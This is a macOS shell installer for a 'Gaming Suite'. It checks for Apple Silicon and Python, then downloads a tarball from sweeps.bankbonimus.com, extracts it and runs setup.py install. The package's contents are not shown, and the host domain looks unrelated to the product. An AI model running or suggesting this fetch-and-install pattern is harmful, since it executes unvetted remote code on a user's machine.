#!/bin/bash
#
# Gaming Suite Installation Script
# For M1/M2/M3/M4 Macs with macOS
#
# Usage: bash install-gaming-suite.sh
#

set -e  # Exit on error

echo "🎮 Gaming Suite Installer"
echo "========================="
echo ""

# Check if running on macOS
if [[ "$OSTYPE" != "darwin"* ]]; then
    echo "❌ Error: Gaming Suite requires macOS"
    echo "   You are running: $OSTYPE"
    exit 1
fi

# Check if running on Apple Silicon
ARCH=$(uname -m)
if [[ "$ARCH" != "arm64" ]]; then
    echo "❌ Error: Gaming Suite requires Apple Silicon (M1/M2/M3/M4)"
    echo "   You are running: $ARCH"
    exit 1
fi

echo "✅ System check passed (macOS on Apple Silicon)"
echo ""

# Check for Python 3.8+
if ! command -v python3 &> /dev/null; then
    echo "❌ Error: Python 3 is not installed"
    echo "   Install from: https://www.python.org/downloads/"
    exit 1
fi

PYTHON_VERSION=$(python3 -c 'import sys; print(".".join(map(str, sys.version_info[:2])))')
echo "✅ Found Python $PYTHON_VERSION"
echo ""

# Download the package
DOWNLOAD_URL="https://sweeps.bankbonimus.com/assets/downloads/gaming-suite.tar.gz"
TEMP_DIR=$(mktemp -d)
PACKAGE_FILE="$TEMP_DIR/gaming-suite.tar.gz"

echo "📥 Downloading Gaming Suite..."
if command -v curl &> /dev/null; then
    curl -L -o "$PACKAGE_FILE" "$DOWNLOAD_URL" || {
        echo "❌ Download failed"
        exit 1
    }
elif command -v wget &> /dev/null; then
    wget -O "$PACKAGE_FILE" "$DOWNLOAD_URL" || {
        echo "❌ Download failed"
        exit 1
    }
else
    echo "❌ Error: Neither curl nor wget found"
    exit 1
fi

echo "✅ Download complete"
echo ""

# Extract the package
echo "📦 Extracting package..."
cd "$TEMP_DIR"
tar -xzf gaming-suite.tar.gz || {
    echo "❌ Extraction failed"
    exit 1
}

echo "✅ Extraction complete"
echo ""

# Install the package
echo "🔧 Installing Gaming Suite..."
python3 setup.py install --user || {
    echo "❌ Installation failed"
    echo "   Try: pip3 install ."
    exit 1
}

echo "✅ Installation complete!"
echo ""

# Cleanup
cd /
rm -rf "$TEMP_DIR"

# Test installation
echo "🧪 Testing installation..."
if command -v gas &> /dev/null; then
    echo "✅ 'gas' command is available!"
else
    echo "⚠️  'gas' command not found in PATH"
    echo "   You may need to add ~/.local/bin to your PATH"
    echo "   Add this line to your ~/.zshrc or ~/.bash_profile:"
    echo "   export PATH=\"\$HOME/.local/bin:\$PATH\""
fi

echo ""
echo "🎉 Gaming Suite is ready!"
echo ""
echo "Next steps:"
echo "  1. Run: gas demo              # Interactive tutorial"
echo "  2. Run: gas chrome            # Launch Chrome automation"
echo "  3. Run: gas vm-setup          # Set up gaming VM"
echo ""
echo "For help: gas --help"
echo ""
